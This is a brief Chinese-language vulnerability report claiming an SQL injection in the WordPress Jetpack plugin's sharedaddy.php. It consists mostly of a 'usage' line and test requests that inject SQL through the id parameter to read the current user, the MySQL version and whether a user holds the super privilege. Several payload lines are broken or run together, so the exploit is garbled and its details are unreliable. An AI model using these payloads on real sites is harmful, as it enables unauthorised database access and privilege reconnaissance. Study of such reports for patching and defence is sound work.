WordPress jetpack plugin SQL注入漏洞

描述:

发现一处Wordpress插件SQL注入漏洞插件名为jetpack

 

文件:

wp-content/plugins/jetpack/modules/sharedaddy.php

利用:

id=-1; or 1=if

 

测试:

http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php

[GET][id=-1][CURRENT_USER()http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php

[GET][id=-1][SELECT(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user=’None’ LIMIT 0,1)=’Y’) THEN 1 ELSE 0 END)

http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php

[GET][id=-1][MID((VERSION()),1,6)